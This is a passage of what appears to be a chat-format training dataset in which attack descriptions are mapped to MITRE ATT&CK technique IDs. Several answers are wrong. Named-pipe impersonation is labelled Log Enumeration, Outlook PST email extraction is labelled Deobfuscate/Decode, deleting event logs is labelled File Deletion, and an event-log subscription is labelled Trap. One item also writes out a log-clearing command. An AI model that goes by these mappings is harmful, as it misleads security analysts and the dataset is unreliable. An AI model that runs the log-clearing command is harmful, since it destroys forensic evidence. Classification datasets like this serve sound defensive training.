                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script injected into the internal dashboard changed the displayed logo to a hacked version."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool modifies the iOS app's Info.plist to alter the CFBundleIdentifier, redirecting network traffic to a rogue server."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a botnet by exploiting default credentials on network printers and uses them for internal reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a breach, the group creates a fake user profile in the organization’s HR system to request access to payroll data."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a compromised service account to enroll a new domain user via the dsadd.exe tool."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor conducts web search queries for the organization’s marketing materials to uncover hidden subdomains and staging environments."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes a bidirectional encrypted channel using a symmetric key (AES-256) to communicate with its remote C2 server."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor sent spear‑phishing emails with malicious Office documents that exploited a macro vulnerability, allowing the installation of credential‑dumping utilities."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After stealing a valid RDP token, the attacker reconnects to the same remote desktop session and performs credential theft within that session."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group updates the BIOS with a rogue image that persists across OS reinstalls and reboots."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a compromised web server in a foreign country and tunnels all C2 traffic through it to hide the origin of the commands."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a script to dump credentials saved in Microsoft Edge's password vault."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a zip archive of exfiltrated data and stores it on a USB‑type external SSD before leaving."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a shared Active Directory trust between two companies, the adversary moved laterally from the partner network into the victim’s environment."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a spear‑phishing message that prompts recipients to enter their email credentials, thereby collecting valid email addresses."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use Azure Blob storage with a 5 GB block size limit, uploading data in multiple blocks to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employed \"cmd.exe /c\" to run a VBS script that downloads additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators rename their credential dumping tools and delete associated logs to eliminate tool usage evidence."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware deletes Windows Event Logs and Security logs after exfiltrating data to remove evidence of the breach."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro downloads a tool that enumerates network shares and moves laterally via SMB to other workstations."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries performed Pass the Hash by sending captured password hash values directly to the SMB service for authentication."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor configures the ransomware to poll a web server every hour using HTTP GET for heartbeat signals."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "File system permissions are altered so that the malicious file is hidden from user view and security scans."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages typical MQTT keep‑alive packets to hide command‑and‑control signals."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code manipulates the registry key \"HKLM\\Software\\Microsoft\\Cryptography\\Wintrust\\Config\" to redirect the trust provider to a compromised DLL."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the AppInit_DLLs feature to automatically load a back‑door DLL during the boot process of Windows systems."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable application by supplying a crafted configuration file that sets the DYLD_LIBRARY_PATH to a directory containing malicious libraries, leading to dynamic linker hijacking."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan installs a background service on Windows that periodically starts audio capture using “wmic sounddev” to enumerate devices and “ffmpeg” to record."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes a malicious shortcut file into the user's Start Menu that points to a remote executable, which is executed when the user selects the shortcut."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a combination of echo and tee commands in the Unix shell to inject malicious code into system startup files."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a Pass the Hash attack to authenticate to remote services."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the PowerShell profile script to run a malicious command for every new PowerShell session."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro‑enabled spreadsheet is sent via email, prompting the victim to enable macros, which then exfiltrates login credentials."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses launchctl to load a malicious launch daemon that monitors and exfiltrates clipboard data."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan was given the same name as a legitimate service binary, \"wuauserv.exe\", and saved in the System32\\Drivers folder."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious employee burned confidential files onto a DVD and left the disc in the office recycling bin for later collection."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom script monitors inbound network traffic and, upon detecting a specific pattern of packets, modifies iptables rules to expose a remote shell, exemplifying port knocking."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan injects into explorer.exe and monitors the credential UI, extracting passwords typed by the victim."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a targeted message via Facebook Messenger with a link to a trojanized archive that extracts a credential dumper."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious software enables network sniffing to capture cleartext passwords transmitted over the network."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a PowerShell one-liner to pull source code from a remote server, compiles it locally, and executes the binary."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system showed evidence of a tampered pam_kwallet.so module, allowing the attacker to harvest encryption keys during user login."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was disguised as 'spoolsv.exe' and set as a service to persist across reboots."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing attachment contains a macro-enabled document whose code signature has been altered to resemble a corporate-approved signer."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The RAT uses Java's Robot class to grab the screen buffer and store it locally before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team simulates an attack by acquiring leaked employee email passwords from a public dump and logging into their mailboxes."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor reconfigures NTFS permissions on a domain controller’s SYSVOL folder to gain persistent write access."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During cleanup, the compromised system runs a script that removes any network share connections it set up."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates all network shares accessible to the compromised system and copies spreadsheets from them."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise large numbers of IoT devices and link them into a botnet to generate massive DDoS floods against target infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is embedded in a shared module that is automatically loaded by a suite of corporate software, allowing the payload to run across multiple hosts."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script runs 'wevtutil cl PowerShell/Operational' to clear PowerShell event logs, erasing command history."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abused the Linux \"wget\" utility within a shell to pull additional tools from a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a third‑party VPN provider as an external proxy to mask the true IP address of their command and control server."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware captures the content of the active window's title bar and includes it in its reports."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group exploits DDE to inject malicious code into a running Notepad process."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses Windows named pipe impersonation to execute commands with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor mounts a network drive and exfiltrates employee payroll files over FTP."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Windows Service Control Manager to start a custom service that launches ransomware."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages free DNS history lookup tools to gather historic A and CNAME records for target domains."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor used a fake job portal to trick users into submitting personal details such as full name, address, and date of birth."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An Event Log subscription is configured to run attacker‑controlled code whenever a particular event ID is recorded, exemplifying the trap technique."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code forges SAML tokens with manipulated attributes, allowing the attacker to impersonate a trusted user in the federated identity system."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts emails from the Outlook PST files stored on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan extracts the contents of the securityd memory region to retrieve saved iOS keychain passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers edit the com.apple.security.plist file to disable Gatekeeper verification for unsigned applications."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware calls DuplicateTokenEx and CreateProcessAsUser to run code as another user."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the 'at' utility, the threat actor sets up a recurring job that launches a backdoor every night."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using cat on /proc/self/maps, the threat actor obtains loaded libraries containing credential material."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvested SSH private keys from users' .ssh directories on compromised workstations and used them to authenticate to remote servers."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue employee exfiltrated employee records by syncing them to a Bluetooth-enabled flash drive and exiting the corporate premises."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker establishes a botnet of compromised smartphones to send bulk SMS phishing messages."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a PDF document that conceals a ransomware binary within the spaces of the document text, leveraging steganography to hide the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor clears the MOTW tag by invoking the Set-ItemProperty cmdlet to change the 'Zone.Identifier' property of the file to 'Internet'."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor leveraged the built‑in Clear-EventLog function to delete all Windows event logs after exfiltrating data."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the Windows function CreateProcess with the /DLL flag to start a new process that loads a harmful DLL."
            },
